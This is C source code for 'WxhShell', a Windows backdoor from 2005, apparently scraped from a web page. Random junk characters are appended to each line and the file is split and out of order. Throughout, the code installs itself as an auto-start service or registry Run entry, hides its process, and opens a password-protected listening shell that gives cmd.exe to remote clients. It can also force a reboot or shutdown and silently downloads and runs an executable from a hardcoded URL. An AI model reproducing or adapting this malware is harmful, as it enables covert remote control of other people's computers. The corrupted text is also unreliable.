    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7 3z Y^ x  
    if(Boot(SHUTDOWN)) e6i./bf3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x\hn;i<  
    else { iB3 +KR  
    closesocket(wsh); '}`hY1v  
    ExitThread(0); pt cLJ]+)  
    } >jz%bY  
    break; m=iov 2K>  
    } b#;N!VX  
  // 获取shell i5<Va@ru!s  
  case 's': { T:S{3  
    CmdShell(wsh); e3={$Ah  
    closesocket(wsh); =@KYA(D  
    ExitThread(0); Bb[0\Hs7  
    break; #Wm@&|U  
  } #8f"}>U9.,  
  // 退出 WUWb5xA  
  case 'x': { =E}%>un  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yFU2'pB  
    CloseIt(wsh); /-K dCp~  
    break; 5-5(`OZ{'  
    } F}B/-".^  
  // 离开 S[hJ{0V  
  case 'q': { v8vh~^X%P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,6orB}w?z  
    closesocket(wsh); S7NnC4)=-f  
    WSACleanup(); <#p|z`N  
    exit(1); LJNie*  
    break; gj egzKU  
        } .xz,pn}  
  } (-' 0g@0UA  
  } ^z%o];  
e7bT%h9i  
  // 提示信息 !Ir1qt8 T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %AEK[W+0  
} ptWG@"j/b  
  } \, %o>M'  
8/>wgY  
  return; gLxT6v5wk.  
} J'\eS./w|  
kk /+Vx~  
// shell模块句柄 gKs/T'PW  
int CmdShell(SOCKET sock) sPE)m_u  
{ 1^60I#Vr@  
STARTUPINFO si; 27*(oT  
ZeroMemory(&si,sizeof(si)); Rd vPsv} D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H7tQ#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @RoRNat  
PROCESS_INFORMATION ProcessInfo; .i3lG( YG  
char cmdline[]="cmd"; WJY4>7}{B@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PK 2Rj%  
  return 0; @O<@f8-  
} zhA',p@K?_  
pRrqs+IJZ\  
// 自身启动模式 p-i.ITRS  
int StartFromService(void) EBIa%,  
{  *_ {l  
typedef struct hP4)8>  
{ '?`@7Eol  
  DWORD ExitStatus; ER;lkF`RF  
  DWORD PebBaseAddress; 3I;xU(rv  
  DWORD AffinityMask; re ]Ste  
  DWORD BasePriority; '!+ P{  
  ULONG UniqueProcessId; \`P2Yq  
  ULONG InheritedFromUniqueProcessId; HeT6Dv  
}   PROCESS_BASIC_INFORMATION; Msv*}^>  
 \8>  
PROCNTQSIP NtQueryInformationProcess; #Cg}!38  
\tiUE E|k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Qc&-\kQ:$u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _uO!N(k.  
^)9MzD^_nV  
  HANDLE             hProcess; B@"SOX  
  PROCESS_BASIC_INFORMATION pbi; KJ0xp h f  
Z^'?|qFj!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5#TrCPi6A  
  if(NULL == hInst ) return 0; ;gxN@%}@  
!"`@sd~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ih+*T1#:(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7]/dg*A )C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {[M0y*^64$  
 .6O52E  
  if (!NtQueryInformationProcess) return 0; zz(!t eBC  
Sc;iAi (  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fV.A=*1l#  
  if(!hProcess) return 0; ,2 zt.aqB  
Sk6b`W7$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "8wf.nZ  
&Q-[;  
  CloseHandle(hProcess); YVQ_tCC_!  
zdxT35h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~")h E%Kl}  
if(hProcess==NULL) return 0; #dva0%-1  
HG{&U:>)  
HMODULE hMod; o }9M`[  
char procName[255]; 0[n c7)sW  
unsigned long cbNeeded; D~G5]M,}$  
W]@gQ (Ef  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <^,o$b  
 ${A5-  
  CloseHandle(hProcess); Yw$a{5g  
D+@-XU<Lp<  
if(strstr(procName,"services")) return 1; // 以服务启动 w)45SZ.  
vKcl6bVT  
  return 0; // 注册表启动 .ocx(_3G  
} f,St h7y  
89LpklD  
// 主模块 cZNi~  
int StartWxhshell(LPSTR lpCmdLine) 1^Kj8*O8e  
{ :7 qqjs  
  SOCKET wsl; vVI6m{zYV  
BOOL val=TRUE; a{<p '_  
  int port=0; [8,PO  
  struct sockaddr_in door; H7{Q@D8  
|ZS 57c:  
  if(wscfg.ws_autoins) Install(); YS]>_  
-Qg 2qN2{  
port=atoi(lpCmdLine); ( MB`hk-d  
]vm\3=@}9  
if(port<=0) port=wscfg.ws_port;  Sa%zre@  
uz]E_&2  
  WSADATA data; :=rA Yc3]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uWUR3n  
J__;.rnk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C@*%AY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %4j&H!y-w;  
  door.sin_family = AF_INET; |J:$MX~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =kd YN 5R  
  door.sin_port = htons(port); fJX\'Rc\  
Ds {{J5Um%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >R(8/#|E  
closesocket(wsl); vT?Q^PTO  
return 1; GtF2@\  
} #MUiL=  
C1V# ?03eI  
  if(listen(wsl,2) == INVALID_SOCKET) { 3@&bxYXm  
closesocket(wsl); ?$3r5sx  
return 1; 4py(R-8\  
} Y5HfN[u^7  
  Wxhshell(wsl); I[ai:   
  WSACleanup(); ,!`SY)  
Hz E1r+3Q@  
return 0; \3r3{X _<`  
"LOnDa7E^  
} sYI~dU2H  
t)ld<9)eB  
// 以NT服务方式启动 [(1O"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -PM)EGSk{  
{ X6xx2v%D  
DWORD   status = 0; .Y!:x =e  
  DWORD   specificError = 0xfffffff; {1~9vHAZ  
\E Z+#3u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Raefj(^V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6_*!|g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9UP:J0 `  
  serviceStatus.dwWin32ExitCode     = 0; /KAlK5<  
  serviceStatus.dwServiceSpecificExitCode = 0; Uh.Sc:trA  
  serviceStatus.dwCheckPoint       = 0; u yFn}y62  
  serviceStatus.dwWaitHint       = 0; sMH#BCC  
@&5A&(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ivsb<qzG  
  if (hServiceStatusHandle==0) return; a"QU:<-v  
+3Y!xD?=  
status = GetLastError(); +e'X;  
  if (status!=NO_ERROR) !h>D;k6 e  
{  {7X#4o0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8Y# bN*!  
    serviceStatus.dwCheckPoint       = 0; "<*awWNI  
    serviceStatus.dwWaitHint       = 0; ?vu_k 'io  
    serviceStatus.dwWin32ExitCode     = status; h~w4, T  
    serviceStatus.dwServiceSpecificExitCode = specificError; Noh?^@T`Ov  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $M':&i5`,  
    return; snYr9O[E6  
  } _UkmYZ/  
gLIT;BK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Sj)}qM-y#  
  serviceStatus.dwCheckPoint       = 0; Wr>(#*r7q  
  serviceStatus.dwWaitHint       = 0; /BpxKh2p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zn&k[?;Al  
} m"4B!S&Fc(  
}E;F)=E  
// 处理NT服务事件,比如:启动、停止 ;xK_qBIP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "!H@k%eAM|  
{ bC~~5Cm  
switch(fdwControl) B wC+ov=  
{ `5'2Hg+  
case SERVICE_CONTROL_STOP: m_* R.a  
  serviceStatus.dwWin32ExitCode = 0; Ax!Gu$K2o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m=TJDr-  
  serviceStatus.dwCheckPoint   = 0; TY.FpW  
  serviceStatus.dwWaitHint     = 0; (R'+jWH  
  { 5j eO"jB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W J+> e+  
  } F>+2DlA`<e  
  return; R#(G%66   
case SERVICE_CONTROL_PAUSE: @T&t.|`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H{V)g  
  break; 3]U]?h  
case SERVICE_CONTROL_CONTINUE: F98i*K`"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [$a<b/4  
  break; xd8 *<,Wj  
case SERVICE_CONTROL_INTERROGATE: ['[KR BJL  
  break; ~|l IC !q  
}; <y)E>Fl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M)!skU   
} 47UO*oLS  
MJ\[Dt  
// 标准应用程序主函数 NQ9Ojj{#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (][LQ6Pc  
{ ],lV}Mlg*  
&|5GB3H =  
// 获取操作系统版本 dqe7sZl!  
OsIsNt=GetOsVer(); ?znSx}t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4;KWG}~[o  
ZA\/{Fw  
  // 从命令行安装 |dmh  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'iUg[{'+  
B@t'U=@7  
  // 下载执行文件 ](K0Fwo`;"  
if(wscfg.ws_downexe) { VC-;S7k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5j^NV&/_  
  WinExec(wscfg.ws_filenam,SW_HIDE); _:J*Cm[q  
} S>Z|) I  
v6uxxsI>Hm  
if(!OsIsNt) { .L;@=Yg )  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;sPzOS9  
HideProc(); x &=9P e(  
StartWxhshell(lpCmdLine); 4MW ]EQ-  
} PRs@zkO  
else Zzj0\? Ul  
  if(StartFromService()) Tby,J B^U  
  // 以服务方式启动 UQT'6* !  
  StartServiceCtrlDispatcher(DispatchTable); HIf{Z* mb  
else orIQ~pF#  
  // 普通方式启动 zAScRg$:?  
  StartWxhshell(lpCmdLine); l@~LV}BI  
-5>NE35Cto  
return 0; UUtbD&\  
} G&9#*<F$c  
IA*KaX2S<  
ZR3nK0  
d^V$Z6* ]  
=========================================== +=P@HfVfiq  
gPEqjj  
1BTIJ Gw  
"x*-PFT  
$=aI "(3&  
KMjg;! y  
" dpzw.Z  
|3eGz%Sd  
#include <stdio.h> Y2T$BJJ  
#include <string.h> K5"sj|d&  
#include <windows.h> G<qIY&D'  
#include <winsock2.h> rPiNv 30L  
#include <winsvc.h> V@ :20m  
#include <urlmon.h> "="O >  
v}uJtBG(  
#pragma comment (lib, "Ws2_32.lib") 83iCL;GS=  
#pragma comment (lib, "urlmon.lib") Utt>H@t[  
$3P`DJo  
#define MAX_USER   100 // 最大客户端连接数 >Da~Q WW|  
#define BUF_SOCK   200 // sock buffer %mI~ =^za  
#define KEY_BUFF   255 // 输入 buffer kE)!<1yy2  
sbsu(Sz+  
#define REBOOT     0   // 重启 f7<pEGb  
#define SHUTDOWN   1   // 关机 pSAR/':eg  
B~gV'(9g  
#define DEF_PORT   5000 // 监听端口 Hi,t@!!  
y] V1b{9p  
#define REG_LEN     16   // 注册表键长度 f_6`tq m%  
#define SVC_LEN     80   // NT服务名长度 y?z\L   
s ic$uT  
// 从dll定义API ')#,X^   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VWf %v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Dy9\O77>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HFtf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M]EsS^/X  
45+{nN[  
// wxhshell配置信息 lAASV{s{  
struct WSCFG { 'jaoO9KY K  
  int ws_port;         // 监听端口 Ex(3D[WmMW  
  char ws_passstr[REG_LEN]; // 口令 ?&c:q3_-Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no \2!!L=&4G  
  char ws_regname[REG_LEN]; // 注册表键名 'Cg{_z.~c  
  char ws_svcname[REG_LEN]; // 服务名 Tj`5L6N;8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _PXdzeI.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dbF M,"^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _ Jc2&(;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <$Yi]ty  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9y]J/1#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SBfFZw)  
1(gfdx9|b  
}; _a -]?R  
]n v( aM?d  
// default Wxhshell configuration t9 F=^)s  
struct WSCFG wscfg={DEF_PORT, Px;Cg 6  
    "xuhuanlingzhe", }KB[B  
    1, s3QEi^~  
    "Wxhshell", wyY*:{lZ  
    "Wxhshell", SgM.B  
            "WxhShell Service", isK;mU?<  
    "Wrsky Windows CmdShell Service", NoDZ5Z  
    "Please Input Your Password: ", *"9<TSU%m  
  1, (4+1lOd  
  "http://www.wrsky.com/wxhshell.exe", }C#3O{5  
  "Wxhshell.exe" p^QZq>v  
    }; h=+$>_&:  
- r#K#v3  
// 消息定义模块 <d7xt* 4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]7/gJ>g,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NGTe4Crx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L\  j:  
char *msg_ws_ext="\n\rExit."; +x1/-J8_sg  
char *msg_ws_end="\n\rQuit."; q)I|2~Q c^  
char *msg_ws_boot="\n\rReboot..."; (JZ".En#X  
char *msg_ws_poff="\n\rShutdown..."; JLm @Ag  
char *msg_ws_down="\n\rSave to "; 'gTmH[be  
5cTY;@@  
char *msg_ws_err="\n\rErr!"; A WJWtUa  
char *msg_ws_ok="\n\rOK!"; @.$MzPQQI  
Ijo(^v@  
char ExeFile[MAX_PATH]; }T(z4P3  
int nUser = 0; ;u!?QSvb  
HANDLE handles[MAX_USER]; ])T/sO#'  
int OsIsNt; T9jw X:n  
'044Vm;/  
SERVICE_STATUS       serviceStatus; Xr_pgW|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2$0)?ZC?=  
Spj9H?m  
// 函数声明 la, h  
int Install(void); U{#xW  
int Uninstall(void); b X,Siz:F  
int DownloadFile(char *sURL, SOCKET wsh); Sb"2Im>  
int Boot(int flag); g(m_yXIx  
void HideProc(void); C0m\SNR  
int GetOsVer(void); TOT PzB  
int Wxhshell(SOCKET wsl); ~j& ?/{7I  
void TalkWithClient(void *cs); '2v f|CX  
int CmdShell(SOCKET sock); 3H8Al  
int StartFromService(void); fl uGf  
int StartWxhshell(LPSTR lpCmdLine); U^$E'Q-VK  
n0fRu`SNV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %z)EO9vtr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uMiyq<  
BKb<2  
// 数据结构和表定义 i21QJ6jPcI  
SERVICE_TABLE_ENTRY DispatchTable[] = KwFXB  
{ dY'Y5Th~  
{wscfg.ws_svcname, NTServiceMain}, nVOqn\m-  
{NULL, NULL} Y!n'" *J>  
}; dR[o|r  
A*0*sZ0  
// 自我安装 GX38~pq  
int Install(void) 8 /m3+5  
{ HdCk!Fv  
  char svExeFile[MAX_PATH]; R^tcr)(  
  HKEY key; >q9{  
  strcpy(svExeFile,ExeFile); [W(Y3yyY  
'NjSu64W  
// 如果是win9x系统,修改注册表设为自启动 ,nYZxYLf+  
if(!OsIsNt) { [.3sE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fM:80bn L+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SIv[9G6  
  RegCloseKey(key); kI+b <$:D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1t2cY;vJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `|,tCM&-  
  RegCloseKey(key); 'j#a%j@{  
  return 0; #W5Yw>$  
    } SLh~_ 5  
  } viV-e$s`.  
} rWe 8D/oc  
else { =t.F2'<[Z  
hht+bpHl  
// 如果是NT以上系统,安装为系统服务 (`mOB6j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v=MzI#0L  
if (schSCManager!=0) 0UjyMEiK  
{ R=86w_  
  SC_HANDLE schService = CreateService % :tr  
  ( 2'dG7lLu4  
  schSCManager, 6`j<l5-h  
  wscfg.ws_svcname, g& >m P?  
  wscfg.ws_svcdisp, /Mx CvEE  
  SERVICE_ALL_ACCESS, opnkmM&[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S41)l!+2  
  SERVICE_AUTO_START, \S5V}!_  
  SERVICE_ERROR_NORMAL, u[J7Y  
  svExeFile, @`2ozi~lO  
  NULL, cJV!> 0ua  
  NULL, d!!3"{'  
  NULL, ,s8&#1rJ-  
  NULL, ~,+[M-  
  NULL gyg|Tno  
  );  qKx59  
  if (schService!=0) !g/_ w  
  { dcR6KG8  
  CloseServiceHandle(schService); 3]7ipwF2q  
  CloseServiceHandle(schSCManager); 6(sfpK'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (ai72#nFtb  
  strcat(svExeFile,wscfg.ws_svcname); cnYYs d{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E =  ^-Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rl41# 6  
  RegCloseKey(key); ls]Elo8h1f  
  return 0; 9Mut p4#  
    } rcW#6VZ=  
  } =mAGD*NKu  
  CloseServiceHandle(schSCManager); E.Pje@d  
} {AtfK>D  
} "SDsISWd  
L1:}bH\y  
return 1; v@]6<e$  
} uk1v7# p  
^$6bs64FSm  
// 自我卸载 Je@p5(f  
int Uninstall(void) 0L 7@2|a0  
{ 7dsnv)(v  
  HKEY key; <"{+  
64;oB_  
if(!OsIsNt) { dUUPhk0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kKNk2!z`M  
  RegDeleteValue(key,wscfg.ws_regname); >n#g9vK  
  RegCloseKey(key); ByC1I.B`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =/M$ <+  
  RegDeleteValue(key,wscfg.ws_regname); ^glbxbhI4  
  RegCloseKey(key); Qdh"X^^  
  return 0;  |UABar b  
  } M55e=  
} k_-vT  
} /{49I,  
else { -aTg>Q|g&  
1Qrm"TFo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P] {B^,E  
if (schSCManager!=0) Y^T-A}?`  
{ Y!Usce  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XtnIK  
  if (schService!=0) x Q@&W;  
  { mw2rSUI{  
  if(DeleteService(schService)!=0) { WX+< 4j  
  CloseServiceHandle(schService); EXv\FUzo  
  CloseServiceHandle(schSCManager); 2M!+gk=+  
  return 0; 1"*Nb5s  
  } N}eU.#L  
  CloseServiceHandle(schService); VGkW3Nt0  
  } Q'>_59  
  CloseServiceHandle(schSCManager); :XNK-A W  
} 6:8EZ' y  
} 7H/! rx  
0Ax>gj-`  
return 1; )1X' W  
} ]QjXh >  
HCfS)`  
// 从指定url下载文件 #S/pYP`7  
int DownloadFile(char *sURL, SOCKET wsh) [)T$91 6I  
{ 5)/4)0  
  HRESULT hr; IIYX|;1}X  
char seps[]= "/"; P\Pc/[ Z7  
char *token;  3D[:Rf[  
char *file; <yX@@8  
char myURL[MAX_PATH]; A`+(VzZgJ  
char myFILE[MAX_PATH]; NzwGc+\7}  
=6L :I x  
strcpy(myURL,sURL); kM6 EZ`mj  
  token=strtok(myURL,seps); vQ9 xG))  
  while(token!=NULL) o3(|FN  
  { 1+.y,}F6b  
    file=token; {VrAh*#h  
  token=strtok(NULL,seps); n?7hp%}  
  } KU 8Cl>5  
XACEt~y  
GetCurrentDirectory(MAX_PATH,myFILE); J~nJpUyP*  
strcat(myFILE, "\\"); p~k`Z^ xY$  
strcat(myFILE, file); k;AV;KWI'  
  send(wsh,myFILE,strlen(myFILE),0); #I*ht0++  
send(wsh,"...",3,0); s\n,Z?m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T3B |r<>I  
  if(hr==S_OK) z}Mb4{d1  
return 0; V2<k0@y  
else P+_\}u;  
return 1; [|P]St-  
l{%Op\  
} {H"=PYR  
iNaC ZC  
// 系统电源模块 b(.o|d/P  
int Boot(int flag) :\ON+LQr  
{ d-K5nRyI  
  HANDLE hToken; f;qKrw  
  TOKEN_PRIVILEGES tkp; =*U%j  
oM? C62g\  
  if(OsIsNt) { (p#;6Xhf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); da7x 1n$D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jv?aB   
    tkp.PrivilegeCount = 1; ?\/dfK:!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3GuMiht5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h<z/LL8|  
if(flag==REBOOT) { p-i]l.mT5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  Lqf#,J  
  return 0; t]YLt ,  
} Q& unA3  
else { J{'zkR?Lr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l1.Aw|'D  
  return 0; Y-q,Ovf!  
} =[CS2VQ'  
  } i}&mz~  
  else { E&Zx]?~  
if(flag==REBOOT) { u/c~PxC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |^&2zyUj/  
  return 0; p~{%f#V  
} )jQe K  
else { tg%WVy2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GE|^ryh  
  return 0; 2>_LX!kyP]  
} nR|uAw  
} }od7YL  
7n3x19T  
return 1; 36Fa9P FCc  
} V IRv  
N*4IxY'vX/  
// win9x进程隐藏模块 aN);P>  
void HideProc(void) d)J] Y=j  
{ 9p0HFri[  
onypwfIk)t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ObHz+qRG  
  if ( hKernel != NULL ) 07WIa@Q  
  { QH? 2v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WaZ@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tS.b5$Q  
    FreeLibrary(hKernel); J*4_|j;Z-E  
  } d=u%"36y  
Gpp}Jpj   
return; #__'U6`(  
} 8 $*cfOC  
HW%bx"r+4f  
// 获取操作系统版本 HFCFEamBMP  
int GetOsVer(void) o9SfWErZ  
{ {]^%?]e  
  OSVERSIONINFO winfo; p 7E{es|J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5~rY=0t  
  GetVersionEx(&winfo); oDiv9 jm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Spw=+z<<Ub  
  return 1; VlXy&oZ  
  else dCJR,},\f  
  return 0; /01(9(  
} w+TuS).  
vWfef~}~  
// 客户端句柄模块 l4.@YYzbp.  
int Wxhshell(SOCKET wsl) n7YWc5:CaL  
{ 5T@'2)BI=  
  SOCKET wsh; u KdX4  
  struct sockaddr_in client; /P:WQ*  
  DWORD myID; 9'L0Al~L  
) o(F*v  
  while(nUser<MAX_USER) t;PnjCD<`  
{ z\ $>k_  
  int nSize=sizeof(client); d:WhP_rK9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c!FjHlAnP  
  if(wsh==INVALID_SOCKET) return 1; !suiqP1\*  
YY>Uf1}*9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OL+40J  
if(handles[nUser]==0) NGD2z.  
  closesocket(wsh); TVh7h`Eg  
else g. VIe  
  nUser++; 5|={1Lp24g  
  } %cif0Td  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $GK m`I"  
r*xw\  
  return 0; i(;u6Rk  
} @Sd:]h:f-  
`CUO!'U  
// 关闭 socket *X55:yha  
void CloseIt(SOCKET wsh) v-aq".XQ  
{ 31\^9w__8  
closesocket(wsh); t# {>y1[29  
nUser--; ?{Z0g+B1  
ExitThread(0); 1:Gd{z  
} P9chRy  
="e um7  
// 客户端请求句柄 Xr;noV-X  
void TalkWithClient(void *cs) bo/!u s#  
{ I,uu>-  
6M|%nBN$|  
  SOCKET wsh=(SOCKET)cs;  F}4 0  
  char pwd[SVC_LEN]; 51'SA B09  
  char cmd[KEY_BUFF]; 0'oT {iN  
char chr[1]; W5uI(rS<6  
int i,j; QQ8W;x  
?pY!sG  
  while (nUser < MAX_USER) { =KD*+.'\/  
?b$zuJ]  
if(wscfg.ws_passstr) { /pN2Jst  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1qN9bwRO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T+"y8#:  
  //ZeroMemory(pwd,KEY_BUFF); . +?lID  
      i=0; v%Q7\X(  
  while(i<SVC_LEN) { `3n*4Lz  
]V("^.~$+C  
  // 设置超时 <TuSU[]  
  fd_set FdRead; a];g  
  struct timeval TimeOut; c'qM$KN9G  
  FD_ZERO(&FdRead); tAi9mm;k  
  FD_SET(wsh,&FdRead); }w8AnaC  
  TimeOut.tv_sec=8; <}1%">RA  
  TimeOut.tv_usec=0; 9Q1GV>j>B  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .?j8{>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /Q_\h+ `  
kl9z;(6p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3dphS ^X  
  pwd=chr[0]; $O-, :<HY  
  if(chr[0]==0xd || chr[0]==0xa) { c[7qnSH  
  pwd=0; "c*|vE  
  break; YTh4&wm  
  } `:4cb $  
  i++; i% lB U 1  
    } [DEw:%  
 Nf'9]I  
  // 如果是非法用户,关闭 socket rXX|?9 '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uHCgIR l>  
} FCPRg^=<!~  
'a*IZb-M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !Esiq<Yh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |i8dI)b  
9U*vnLB  
while(1) { Oc`fQqYy  
4UkLvL1x  
  ZeroMemory(cmd,KEY_BUFF); xw H`alu  
20)Il:x  
      // 自动支持客户端 telnet标准   !W7ekPnK  
  j=0; ?Gfe?  
  while(j<KEY_BUFF) { i=+6R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uo ,3 lMr  
  cmd[j]=chr[0]; KA#-X2U/  
  if(chr[0]==0xa || chr[0]==0xd) { <|iU+.j\  
  cmd[j]=0; < i|+p1t  
  break; w%\;|y4+  
  } KRe=n3 1  
  j++; quYZD6IH  
    } zL'n J  
c`QsKwa  
  // 下载文件 wP9C\W;  
  if(strstr(cmd,"http://")) { '3VrHL@@g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z wW9>Y  
  if(DownloadFile(cmd,wsh)) IuF-bxA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B!v1 gh  
  else CHB{P\WF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MC@cT^Z^  
  } |T%/d#b~  
